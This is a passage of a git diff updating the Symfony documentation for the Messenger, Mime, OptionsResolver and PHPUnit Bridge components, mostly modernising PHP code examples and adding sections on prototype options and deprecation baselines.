:class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException`, + which is a representation of the exception that made the message fail. You can + get this exception with the + :method:`Symfony\\Component\\Messenger\\Stamp\\ErrorDetailsStamp::getFlattenException` + method. This exception is normalized thanks to the + :class:`Symfony\\Component\\Messenger\\Transport\\Serialization\\Normalizer\\FlattenExceptionNormalizer` + which helps error reporting in the Messenger context. Instead of dealing directly with the messages in the middleware you receive the envelope. Hence you can inspect the envelope content and its stamps, or add any:: @@ -232,13 +247,10 @@ you can create your own message sender:: class ImportantActionToEmailSender implements SenderInterface { - private $mailer; - private $toEmail; - - public function __construct(MailerInterface $mailer, string $toEmail) - { - $this->mailer = $mailer; - $this->toEmail = $toEmail; + public function __construct( + private MailerInterface $mailer, + private string $toEmail, + ) { } public function send(Envelope $envelope): Envelope @@ -284,19 +296,22 @@ do is to write your own CSV receiver:: class NewOrdersFromCsvFileReceiver implements ReceiverInterface { - private $serializer; - private $filePath; - - public function __construct(SerializerInterface $serializer, string $filePath) - { - $this->serializer = $serializer; - $this->filePath = $filePath; + private $connection; + + public function __construct( + private SerializerInterface $serializer, + private string $filePath, + ) { + // Available connection bundled with the Messenger component + // can be found in "Symfony\Component\Messenger\Bridge\*\Transport\Connection". + $this->connection = /* create your connection */; } public function get(): iterable { // Receive the envelope according to your transport ($yourEnvelope here), // in most cases, using a connection is the easiest solution. + $yourEnvelope = $this->connection->get(); if (null === $yourEnvelope) { return []; } @@ -322,7 +337,9 @@ do is to write your own CSV receiver:: public function reject(Envelope $envelope): void { // In the case of a custom connection - $this->connection->reject($this->findCustomStamp($envelope)->getId()); + $id = /* get the message id thanks to information or stamps present in the envelope */; + + $this->connection->reject($id); } } @@ -344,5 +361,5 @@ Learn more /messenger /messenger/* -.. _`blog posts about command buses`: https://matthiasnoback.nl/tags/command%20bus/ -.. _`SimpleBus project`: http://docs.simplebus.io/en/latest/ +.. _`blog posts about command buses`: https://matthiasnoback.nl/tags/command-bus/ +.. _`SimpleBus project`: https://docs.simplebus.io/en/latest/ diff --git a/components/mime.rst b/components/mime.rst index 14a981397c6..c043b342ebc 100644 --- a/components/mime.rst +++ b/components/mime.rst @@ -1,8 +1,3 @@ -.. index:: - single: MIME - single: MIME Messages - single: Components; MIME - The Mime Component ================== @@ -34,7 +29,7 @@ complexity to provide two ways of creating MIME messages: * A high-level API based on the :class:`Symfony\\Component\\Mime\\Email` class to quickly create email messages with all the common features; * A low-level API based on the :class:`Symfony\\Component\\Mime\\Message` class - to have an absolute control over every single part of the email message. + to have absolute control over every single part of the email message. Usage ----- @@ -56,7 +51,7 @@ methods to compose the entire email message:: ->html('<h1>Lorem ipsum</h1> <p>...</p>') ; -This only purpose of this component is to create the email messages. Use the +The only purpose of this component is to create the email messages. Use the :doc:`Mailer component </mailer>` to actually send them. Twig Integration @@ -99,12 +94,12 @@ extension: .. code-block:: terminal - $ composer require twig/cssinliner-extension + $ composer require twig/cssinliner-extra Now, enable the extension:: // ... - use Twig\CssInliner\CssInlinerExtension; + use Twig\Extra\CssInliner\CssInlinerExtension; $loader = new FilesystemLoader(__DIR__.'/templates'); $twig = new Environment($loader); @@ -238,10 +233,10 @@ MIME types and file name extensions:: $exts = $mimeTypes->getExtensions('image/jpeg'); // $exts = ['jpeg', 'jpg', 'jpe'] - $mimeTypes = $mimeTypes->getMimeTypes('js'); - // $mimeTypes = ['application/javascript', 'application/x-javascript', 'text/javascript'] - $mimeTypes = $mimeTypes->getMimeTypes('apk'); - // $mimeTypes = ['application/vnd.android.package-archive'] + $types = $mimeTypes->getMimeTypes('js'); + // $types = ['application/javascript', 'application/x-javascript', 'text/javascript'] + $types = $mimeTypes->getMimeTypes('apk'); + // $types = ['application/vnd.android.package-archive'] These methods return arrays with one or more elements. The element position indicates its priority, so the first returned extension is the preferred one. diff --git a/components/options_resolver.rst b/components/options_resolver.rst index 941d61de6c7..17ec46c2fc9 100644 --- a/components/options_resolver.rst +++ b/components/options_resolver.rst @@ -1,7 +1,3 @@ -.. index:: - single: OptionsResolver - single: Components; OptionsResolver - The OptionsResolver Component ============================= @@ -27,7 +23,7 @@ Imagine you have a ``Mailer`` class which has four options: ``host``, class Mailer { - protected $options; + protected array $options; public function __construct(array $options = []) { @@ -41,7 +37,7 @@ check which options are set:: class Mailer { // ... - public function sendMail($from, $to) + public function sendMail($from, $to): void { $mail = ...; @@ -55,7 +51,7 @@ check which options are set:: } Also, the default values of the options are buried in the business logic of your -code. Use the :phpfunction:`array_replace` to fix that:: +code. Use :phpfunction:`array_replace` to fix that:: class Mailer { @@ -125,7 +121,7 @@ code:: { // ... - public function sendMail($from, $to) + public function sendMail($from, $to): void { $mail = ...; $mail->setHost($this->options['host']); @@ -151,7 +147,7 @@ It's a good practice to split the option configuration into a separate method:: $this->options = $resolver->resolve($options); } - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'host' => 'smtp.example.org', @@ -170,7 +166,7 @@ than processing options. Second, sub-classes may now override the // ... class GoogleMailer extends Mailer { - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { parent::configureOptions($resolver); @@ -193,7 +189,7 @@ For example, to make the ``host`` option required, you can do:: { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // ... $resolver->setRequired('host'); @@ -217,7 +213,7 @@ one required option:: { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // ... $resolver->setRequired(['host', 'username', 'password']); @@ -232,7 +228,7 @@ retrieve the names of all required options:: // ... class GoogleMailer extends Mailer { - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { parent::configureOptions($resolver); @@ -255,7 +251,7 @@ been set:: { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // ... $resolver->setRequired('host'); @@ -265,7 +261,7 @@ been set:: // ... class GoogleMailer extends Mailer { - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { parent::configureOptions($resolver); @@ -300,7 +296,7 @@ correctly. To validate the types of the options, call { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // ... @@ -309,13 +305,21 @@ correctly. To validate the types of the options, call // specify multiple allowed types $resolver->setAllowedTypes('port', ['null', 'int']); + // if you prefer, you can also use the following equivalent syntax + $resolver->setAllowedTypes('port', 'int|null'); // check all items in an array recursively for a type $resolver->setAllowedTypes('dates', 'DateTime[]'); $resolver->setAllowedTypes('ports', 'int[]'); + // the following syntax means "an array of integers or an array of strings" + $resolver->setAllowedTypes('endpoints', '(int|string)[]'); } } +.. versionadded:: 7.3 + + Defining type unions with the ``|`` syntax was introduced in Symfony 7.3. + You can pass any type for which an ``is_<type>()`` function is defined in PHP. You may also pass fully qualified class or interface names (which is checked using ``instanceof``). Additionally, you can validate all items in an array @@ -335,6 +339,8 @@ is thrown:: In sub-classes, you can use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addAllowedTypes` to add additional allowed types without erasing the ones already set. +.. _optionsresolver-validate-value: + Value Validation ~~~~~~~~~~~~~~~~ @@ -349,7 +355,7 @@ to verify that the passed option contains one of these values:: { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // ... $resolver->setDefault('transport', 'sendmail'); @@ -372,10 +378,25 @@ For options with more complicated validation schemes, pass a closure which returns ``true`` for acceptable values and ``false`` for invalid values:: // ... - $resolver->setAllowedValues('transport', function ($value) { + $resolver->setAllowedValues('transport', function (string $value): bool { // return true or false }); +.. tip:: + + You can even use the :doc:`Validator </validation>` component to validate the + input by using the :method:`Symfony\\Component\\Validator\\Validation::createIsValidCallable` + method:: + + use Symfony\Component\OptionsResolver\OptionsResolver; + use Symfony\Component\Validator\Constraints\Length; + use Symfony\Component\Validator\Validation; + + // ... + $resolver->setAllowedValues('transport', Validation::createIsValidCallable( + new Length(min: 10) + )); + In sub-classes, you can use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addAllowedValues` to add additional allowed values without erasing the ones already set. @@ -395,12 +416,12 @@ option. You can configure a normalizer by calling { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // ... - $resolver->setNormalizer('host', function (Options $options, $value) { - if ('http://' !== substr($value, 0, 7)) { + $resolver->setNormalizer('host', function (Options $options, string $value): string { + if (!str_starts_with($value, 'http://')) { $value = 'http://'.$value; } @@ -417,11 +438,11 @@ if you need to use other options during normalization:: class Mailer { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // ... - $resolver->setNormalizer('host', function (Options $options, $value) { - if ('http://' !== substr($value, 0, 7) && 'https://' !== substr($value, 0, 8)) { + $resolver->setNormalizer('host', function (Options $options, string $value): string { + if (!str_starts_with($value, 'http://') && !str_starts_with($value, 'https://')) { if ('ssl' === $options['encryption']) { $value = 'https://'.$value; } else { @@ -434,8 +455,8 @@ if you need to use other options during normalization:: } } -To normalize a new allowed value in sub-classes that are being normalized -in parent classes use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addNormalizer`. +To normalize a new allowed value in subclasses that are being normalized +in parent classes, use :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::addNormalizer` method. This way, the ``$value`` argument will receive the previously normalized value, otherwise you can prepend the new normalizer by passing ``true`` as third argument. @@ -448,7 +469,7 @@ encryption chosen by the user of the ``Mailer`` class. More precisely, you want to set the port to ``465`` if SSL is used and to ``25`` otherwise. You can implement this feature by passing a closure as the default value of -the ``port`` option. The closure receives the options as argument. Based on +the ``port`` option. The closure receives the options as arguments. Based on these options, you can return the desired default value:: use Symfony\Component\OptionsResolver\Options; @@ -457,12 +478,12 @@ these options, you can return the desired default value:: class Mailer { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // ... $resolver->setDefault('encryption', null); - $resolver->setDefault('port', function (Options $options) { + $resolver->setDefault('port', function (Options $options): int { if ('ssl' === $options['encryption']) { return 465; } @@ -472,7 +493,7 @@ these options, you can return the desired default value:: } } -.. caution:: +.. warning:: The argument of the callable must be type hinted as ``Options``. Otherwise, the callable itself is considered as the default value of the option. @@ -480,7 +501,7 @@ these options, you can return the desired default value:: .. note:: The closure is only executed if the ``port`` option isn't set by the user - or overwritten in a sub-class. + or overwritten in a subclass. A previously set default value can be accessed by adding a second argument to the closure:: @@ -489,7 +510,7 @@ the closure:: class Mailer { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // ... $resolver->setDefaults([ @@ -501,13 +522,13 @@ the closure:: class GoogleMailer extends Mailer { - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { parent::configureOptions($resolver); - $resolver->setDefault('host', function (Options $options, $previousValue) { + $resolver->setDefault('host', function (Options $options, string $previousValue): string { if ('ssl' === $options['encryption']) { - return 'secure.example.org' + return 'secure.example.org'; } // Take default value configured in the base class @@ -532,14 +553,14 @@ from the default:: class Mailer { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // ... $resolver->setDefault('port', 25); } // ... - public function sendMail($from, $to) + public function sendMail(string $from, string $to): void { // Is this the default value or did the caller of the class really // set the port to 25? @@ -559,14 +580,14 @@ be included in the resolved options if it was actually passed to { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // ... $resolver->setDefined('port'); } // ... - public function sendMail($from, $to) + public function sendMail(string $from, string $to): void { if (array_key_exists('port', $this->options)) { echo 'Set!'; @@ -593,7 +614,7 @@ options in one go:: class Mailer { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // ... $resolver->setDefined(['port', 'encryption']); @@ -609,7 +630,7 @@ let you find out which options are defined:: { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { parent::configureOptions($resolver); @@ -639,9 +660,9 @@ default value:: { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { - $resolver->setDefault('spool', function (OptionsResolver $spoolResolver) { + $resolver->setOptions('spool', function (OptionsResolver $spoolResolver): void { $spoolResolver->setDefaults([ 'type' => 'file', 'path' => '/path/to/spool', @@ -651,7 +672,7 @@ default value:: }); } - public function sendMail($from, $to) + public function sendMail(string $from, string $to): void { if ('memory' === $this->options['spool']['type']) { // ... @@ -665,6 +686,16 @@ default value:: ], ]); +.. deprecated:: 7.3 + + Defining nested options via :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setDefault` + is deprecated since Symfony 7.3. Use the :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setOptions` + method instead, which also allows defining default values for prototyped options. + +.. versionadded:: 7.3 + + The ``setOptions()`` method was introduced in Symfony 7.3. + Nested options also support required options, validation (type, value) and normalization of their values. If the default value of a nested option depends on another option defined in the parent level, add a second ``Options`` argument @@ -674,10 +705,10 @@ to the closure to access to them:: { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefault('sandbox', false); - $resolver->setDefault('spool', function (OptionsResolver $spoolResolver, Options $parent) { + $resolver->setOptions('spool', function (OptionsResolver $spoolResolver, Options $parent): void { $spoolResolver->setDefaults([ 'type' => $parent['sandbox'] ? 'memory' : 'file', // ... @@ -686,7 +717,7 @@ to the closure to access to them:: } } -.. caution:: +.. warning:: The arguments of the closure must be type hinted as ``OptionsResolver`` and ``Options`` respectively. Otherwise, the closure itself is considered as the @@ -698,15 +729,15 @@ In same way, parent options can access to the nested options as normal arrays:: { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { - $resolver->setDefault('spool', function (OptionsResolver $spoolResolver) { + $resolver->setOptions('spool', function (OptionsResolver $spoolResolver): void { $spoolResolver->setDefaults([ 'type' => 'file', // ... ]); }); - $resolver->setDefault('profiling', function (Options $options) { + $resolver->setOptions('profiling', function (Options $options): void { return 'file' === $options['spool']['type']; }); } @@ -717,15 +748,53 @@ In same way, parent options can access to the nested options as normal arrays:: The fact that an option is defined as nested means that you must pass an array of values to resolve it at runtime. -Deprecating the Option -~~~~~~~~~~~~~~~~~~~~~~ +Prototype Options +~~~~~~~~~~~~~~~~~ + +There are situations where you will have to resolve and validate a set of +options that may repeat many times within another option. Let's imagine a +``connections`` option that will accept an array of database connections +with ``host``, ``database``, ``user`` and ``password`` each. + +The best way to implement this is to define the ``connections`` option as prototype:: + + $resolver->setOptions('connections', function (OptionsResolver $connResolver): void { + $connResolver + ->setPrototype(true) + ->setRequired(['host', 'database']) + ->setDefaults(['user' => 'root', 'password' => null]); + }); + +According to the prototype definition in the example above, it is possible +to have multiple connection arrays like the following:: + + $resolver->resolve([ + 'connections' => [ + 'default' => [ + 'host' => '127.0.0.1', + 'database' => 'symfony', + ], + 'test' => [ + 'host' => '127.0.0.1', + 'database' => 'symfony_test', + 'user' => 'test', + 'password' => 'test', + ], + // ... + ], + ]); + +The array keys (``default``, ``test``, etc.) of this prototype option are +validation-free and can be any arbitrary value that helps differentiate the +connections. + +.. note:: -.. versionadded:: 5.1 + A prototype option can only be defined inside a nested option and + during its resolution it will expect an array of arrays. - The signature of the ``setDeprecated()`` method changed from - ``setDeprecated(string $option, ?string $message)`` to - ``setDeprecated(string $option, string $package, string $version, $message)`` - in Symfony 5.1. +Deprecating the Option +~~~~~~~~~~~~~~~~~~~~~~ Once an option is outdated or you decided not to maintain it anymore, you can deprecate it using the :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setDeprecated` @@ -739,11 +808,14 @@ method:: ->setDeprecated('hostname', 'acme/package', '1.2') // you can also pass a custom deprecation message (%name% placeholder is available) + // %name% placeholder will be replaced by the deprecated option. + // This outputs the following deprecation message: + // Since acme/package 1.2: The option "hostname" is deprecated, use "host" instead. ->setDeprecated( 'hostname', 'acme/package', '1.2', - 'The option "hostname" is deprecated, use "host" instead.' + 'The option "%name%" is deprecated, use "host" instead.' ) ; @@ -757,9 +829,13 @@ method:: When using an option deprecated by you in your own library, you can pass ``false`` as the second argument of the - :method:`Symfony\\Component\\OptionsResolver\\Options::offsetGet` method + :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::offsetGet` method to not trigger the deprecation warning. +.. note:: + + All deprecation messages are displayed in the profiler logs in the "Deprecations" tab. + Instead of passing the message, you may also pass a closure which returns a string (the deprecation message) or an empty string to ignore the deprecation. This closure is useful to only deprecate some of the allowed types or values of @@ -769,7 +845,7 @@ the option:: ->setDefault('encryption', null) ->setDefault('port', null) ->setAllowedTypes('port', ['null', 'int']) - ->setDeprecated('port', 'acme/package', '1.2', function (Options $options, $value) { + ->setDeprecated('port', 'acme/package', '1.2', function (Options $options, ?int $value): string { if (null === $value) { return 'Passing "null" to option "port" is deprecated, pass an integer instead.'; } @@ -791,6 +867,26 @@ the option:: This closure receives as argument the value of the option after validating it and before normalizing it when the option is being resolved. +Ignore not defined Options +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +By default, all options are resolved and validated, resulting in a +:class:`Symfony\\Component\\OptionsResolver\\Exception\\UndefinedOptionsException` +if an unknown option is passed. You can ignore not defined options by using the +:method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::ignoreUndefined` method:: + + // ... + $resolver + ->setDefined(['hostname']) + ->setIgnoreUndefined(true) + ; + + // option "version" will be ignored + $resolver->resolve([ + 'hostname' => 'acme/package', + 'version' => '1.2.3' + ]); + Chaining Option Configurations ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -805,7 +901,7 @@ method:: class InvoiceMailer { // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // ... $resolver->define('host') @@ -817,14 +913,10 @@ method:: $resolver->define('transport') ->required() ->default('transport') - ->allowedValues(['sendmail', 'mail', 'smtp']); + ->allowedValues('sendmail', 'mail', 'smtp'); } } -.. versionadded:: 5.1 - - The ``define()`` and ``info()`` methods were introduced in Symfony 5.1. - Performance Tweaks ~~~~~~~~~~~~~~~~~~ @@ -837,14 +929,14 @@ can change your code to do the configuration only once per class:: // ... class Mailer { - private static $resolversByClass = []; + private static array $resolversByClass = []; - protected $options; + protected array $options; public function __construct(array $options = []) { // What type of Mailer is this, a Mailer, a GoogleMailer, ... ? - $class = get_class($this); + $class = $this::class; // Was configureOptions() executed before for this class? if (!isset(self::$resolversByClass[$class])) { @@ -855,7 +947,7 @@ can change your code to do the configuration only once per class:: $this->options = self::$resolversByClass[$class]->resolve($options); } - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { // ... } @@ -870,9 +962,9 @@ method ``clearOptionsConfig()`` and call it periodically:: // ... class Mailer { - private static $resolversByClass = []; + private static array $resolversByClass = []; - public static function clearOptionsConfig() + public static function clearOptionsConfig(): void { self::$resolversByClass = []; } @@ -882,3 +974,21 @@ method ``clearOptionsConfig()`` and call it periodically:: That's it! You now have all the tools and knowledge needed to process options in your code. + +Getting More Insights +~~~~~~~~~~~~~~~~~~~~~ + +Use the ``OptionsResolverIntrospector`` to inspect the options definitions +inside an ``OptionsResolver`` instance:: + + use Symfony\Component\OptionsResolver\Debug\OptionsResolverIntrospector; + use Symfony\Component\OptionsResolver\OptionsResolver; + + $resolver = new OptionsResolver(); + $resolver->setDefaults([ + 'host' => 'smtp.example.org', + 'port' => 25, + ]); + + $introspector = new OptionsResolverIntrospector($resolver); + $introspector->getDefault('host'); // Retrieves "smtp.example.org" diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst index fea473f1229..5ce4c003a11 100644 --- a/components/phpunit_bridge.rst +++ b/components/phpunit_bridge.rst @@ -1,7 +1,3 @@ -.. index:: - single: PHPUnitBridge - single: Components; PHPUnitBridge - The PHPUnit Bridge ================== @@ -11,8 +7,8 @@ The PHPUnit Bridge It comes with the following features: -* Forces the tests to use a consistent locale (``C``) (if you create - locale-sensitive tests, use PHPUnit's ``setLocale()`` method); +* Sets by default a consistent locale (``C``) for your tests (if you + create locale-sensitive tests, use PHPUnit's ``setLocale()`` method); * Auto-register ``class_exists`` to load Doctrine annotations (when used); @@ -23,10 +19,11 @@ It comes with the following features: * Provides a ``ClockMock``, ``DnsMock`` and ``ClassExistsMock`` classes for tests sensitive to time, network or class existence; -* Provides a modified version of PHPUnit that allows 1. separating the - dependencies of your app from those of phpunit to prevent any unwanted - constraints to apply; 2. running tests in parallel when a test suite is split - in several phpunit.xml files; 3. recording and replaying skipped tests; +* Provides a modified version of PHPUnit that allows: + + #. separating the dependencies of your app from those of phpunit to prevent any unwanted constraints to apply; + #. running tests in parallel when a test suite is split in several phpunit.xml files; + #. recording and replaying skipped tests; * It allows to create tests that are compatible with multiple PHPUnit versions (because it provides polyfills for missing methods, namespaced aliases for @@ -48,13 +45,13 @@ Installation always use its very latest stable major version to get the most accurate deprecation report. -If you plan to :ref:`write-assertions-about-deprecations` and use the regular +If you plan to :ref:`write assertions about deprecations <write-assertions-about-deprecations>` and use the regular PHPUnit script (not the modified PHPUnit script provided by Symfony), you have to register a new `test listener`_ called ``SymfonyTestsListener``: .. code-block:: xml - <!-- http://phpunit.de/manual/6.0/en/appendixes.configuration.html --> + <!-- https://phpunit.de/manual/6.0/en/appendixes.configuration.html --> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/6.0/phpunit.xsd" > @@ -203,7 +200,7 @@ message, enclosed with ``/``. For example, with: .. code-block:: xml - <!-- http://phpunit.de/manual/6.0/en/appendixes.configuration.html --> + <!-- https://phpunit.de/manual/6.0/en/appendixes.configuration.html --> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/6.0/phpunit.xsd" > @@ -219,13 +216,15 @@ message, enclosed with ``/``. For example, with: `PHPUnit`_ will stop your test suite once a deprecation notice is triggered whose message contains the ``"foobar"`` string. +.. _making-tests-fail: + Making Tests Fail ~~~~~~~~~~~~~~~~~ -By default, any non-legacy-tagged or any non-`@-silenced <@-silencing operator>`_ +By default, any non-legacy-tagged or any non-silenced (`@-silencing operator`_) deprecation notices will make tests fail. Alternatively, you can configure an arbitrary threshold by setting ``SYMFONY_DEPRECATIONS_HELPER`` to -``max[total]=320`` for instance. It will make the tests fails only if a +``max[total]=320`` for instance. It will make the tests fail only if a higher number of deprecation notices is reached (``0`` is the default value). @@ -254,7 +253,7 @@ deprecations but: * forget to mark appropriate tests with the ``@group legacy`` annotations. By using ``SYMFONY_DEPRECATIONS_HELPER=max[self]=0``, deprecations that are -triggered outside the ``vendors`` directory will be accounted for separately, +triggered outside the ``vendor/`` directory will be accounted for separately, while deprecations triggered from a library inside it will not (unless you reach 999999 of these), giving you the best of both worlds. @@ -289,6 +288,55 @@ Here is a summary that should help you pick the right configuration: | | cannot afford to use one of the modes above. | +------------------------+-----------------------------------------------------+ +Ignoring Deprecations +..................... + +If your application has some deprecations that you can't fix for some reasons, +you can tell Symfony to ignore them. + +You need first to create a text file where each line is a deprecation to ignore +defined as a regular expression. Lines beginning with a hash (``#``) are +considered comments: + +.. code-block:: terminal + + # This file contains patterns to be ignored while testing for use of + # deprecated code. + + %The "Symfony\\Component\\Validator\\Context\\ExecutionContextInterface::.*\(\)" method is considered internal Used by the validator engine\. (Should not be called by user\W+code\. )?It may change without further notice\. You should not extend it from "[^"]+"\.% + %The "PHPUnit\\Framework\\TestCase::addWarning\(\)" method is considered internal% + +Then, you can run the following command to use that file and ignore those deprecations: + +.. code-block:: terminal + + $ SYMFONY_DEPRECATIONS_HELPER='ignoreFile=./tests/baseline-ignore' ./vendor/bin/simple-phpunit + +Baseline Deprecations +..................... + +You can also take a snapshot of deprecations currently triggered by your application +code, and ignore those during your test runs, still reporting newly added ones. +The trick is to create a file with the allowed deprecations and define it as the +"deprecation baseline". Deprecations inside that file are ignored but the rest of +deprecations are still reported. + +First, generate the file with the allowed deprecations (run the same command +whenever you want to update the existing file): + +.. code-block:: terminal + + $ SYMFONY_DEPRECATIONS_HELPER='generateBaseline=true&baselineFile=./tests/allowed.json' ./vendor/bin/simple-phpunit + +This command stores all the deprecations reported while running tests in the +given file path and encoded in JSON. + +Then, you can run the following command to use that file and ignore those deprecations: + +.. code-block:: terminal + + $ SYMFONY_DEPRECATIONS_HELPER='baselineFile=./tests/allowed.json' ./vendor/bin/simple-phpunit + Disabling the Verbose Output ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -300,9 +348,9 @@ It's also possible to change verbosity per deprecation type. For example, using ``quiet[]=indirect&quiet[]=other`` will hide details for deprecations of types "indirect" and "other". -.. versionadded:: 5.1 - - The ``quiet`` option was introduced in Symfony 5.1. +The ``quiet`` option hides details for the specified deprecation types, but will +not change the outcome in terms of exit code. That's what :ref:`max <making-tests-fail>` +is for, and both settings are orthogonal. Disabling the Deprecation Helper ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -312,8 +360,6 @@ to completely disable the deprecation helper. This is useful to make use of the rest of features provided by this component without getting errors or messages related to deprecations. -.. _write-assertions-about-deprecations: - Deprecation Notices at Autoloading Time ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -346,9 +392,46 @@ the compiling and warming up of the container: $ php bin/console debug:container --deprecations -.. versionadded:: 5.1 +Log Deprecations +~~~~~~~~~~~~~~~~ + +For turning the verbose output off and write it to a log file instead you can use +``SYMFONY_DEPRECATIONS_HELPER='logFile=/path/deprecations.log'``. + +Setting The Locale For Tests +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +By default, the PHPUnit Bridge forces the locale to ``C`` to avoid locale +issues in tests. This behavior can be changed by setting the +``SYMFONY_PHPUNIT_LOCALE`` environment variable to the desired locale: + +.. code-block:: bash + + # .env.test + SYMFONY_PHPUNIT_LOCALE="fr_FR" + +Alternatively, you can set this environment variable in the PHPUnit +configuration file: + +.. code-block:: xml + + <!-- https://phpunit.de/manual/6.0/en/appendixes.configuration.html --> + <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xsi:noNamespaceSchemaLocation="https://schema.phpunit.de/6.0/phpunit.xsd" + > - The ``--deprecations`` option was introduced in Symfony 5.1. + <!-- ... --> + + <php> + <!-- ... --> + <env name="SYMFONY_PHPUNIT_LOCALE" value="fr_FR"/> + </php> + </phpunit> + +Finally, if you want to avoid the bridge to force any locale, you can set the +``SYMFONY_PHPUNIT_LOCALE`` environment variable to ``0``. + +.. _write-assertions-about-deprecations: Write Assertions about Deprecations ----------------------------------- @@ -371,7 +454,7 @@ times (order matters):: /** * @group legacy */ - public function testDeprecatedCode() + public function testDeprecatedCode(): void { // test some code that triggers the following deprecation: // trigger_deprecation('vendor-name/package-name', '5.1', 'This "Foo" method is deprecated.'); @@ -385,11 +468,6 @@ times (order matters):: } } -.. deprecated:: 5.1 - - Symfony versions previous to 5.1 also included a ``@expectedDeprecation`` - annotation to test deprecations, but it was deprecated in favor of the method. - Display the Full Stack Trace ---------------------------- @@ -441,32 +519,6 @@ PHPUnit to remove the return type (introduced in PHPUnit 8) from ``setUp()``, ``tearDown()``, ``setUpBeforeClass()`` and ``tearDownAfterClass()`` methods. This allows you to write a test compatible with both PHP 5 and PHPUnit 8. -Alternatively, you can use the trait :class:`Symfony\\Bridge\\PhpUnit\\SetUpTearDownTrait`, -which provides the right signature for the ``setUp()``, ``tearDown()``, -``setUpBeforeClass()`` and ``tearDownAfterClass()`` methods and delegates the -call to the ``doSetUp()``, ``doTearDown()``, ``doSetUpBeforeClass()`` and -``doTearDownAfterClass()`` methods:: - - use PHPUnit\Framework\TestCase; - use Symfony\Bridge\PhpUnit\SetUpTearDownTrait; - - class MyTest extends TestCase - { - // when using the SetUpTearDownTrait, methods like doSetUp() can - // be defined with and without the 'void' return type, as you wish - use SetUpTearDownTrait; - - private function doSetUp() - { - // ... - } - - protected function doSetUp(): void - { - // ... - } - } - Using Namespaced PHPUnit Classes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -488,7 +540,7 @@ If you have this kind of time-related tests:: class MyTest extends TestCase { - public function testSomething() + public function testSomething(): void { $stopwatch = new Stopwatch(); @@ -514,13 +566,14 @@ Clock Mocking The :class:`Symfony\\Bridge\\PhpUnit\\ClockMock` class provided by this bridge allows you to mock the PHP's built-in time functions ``time()``, ``microtime()``, -``sleep()``, ``usleep()`` and ``gmdate()``. Additionally the function ``date()`` -is mocked so it uses the mocked time if no timestamp is specified. +``sleep()``, ``usleep()``, ``gmdate()``, and ``hrtime()``. Additionally the +function ``date()`` is mocked so it uses the mocked time if no timestamp is +specified. Other functions with an optional timestamp parameter that defaults to ``time()`` will still use the system time instead of the mocked time. This means that you may need to change some code in your tests. For example, instead of ``new DateTime()``, -you should use ``DateTime::createFromFormat('U', time())`` to use the mocked +you should use ``DateTime::createFromFormat('U', (string) time())`` to use the mocked ``time()`` function. To use the ``ClockMock`` class in your test, add the ``@group time-sensitive`` @@ -554,7 +607,7 @@ test:: */ class MyTest extends TestCase { - public function testSomething() + public function testSomething(): void { $stopwatch = new Stopwatch(); @@ -568,7 +621,7 @@ test:: And that's all! -.. caution:: +.. warning:: Time-based function mocking follows the `PHP namespace resolutions rules`_ so "fully qualified function calls" (e.g ``\time()``) cannot be mocked. @@ -582,7 +635,7 @@ different class, do it explicitly using ``ClockMock::register(MyClass::class)``: class MyClass { - public function getTimeInHours() + public function getTimeInHours(): void { return time() / 3600; } @@ -600,7 +653,7 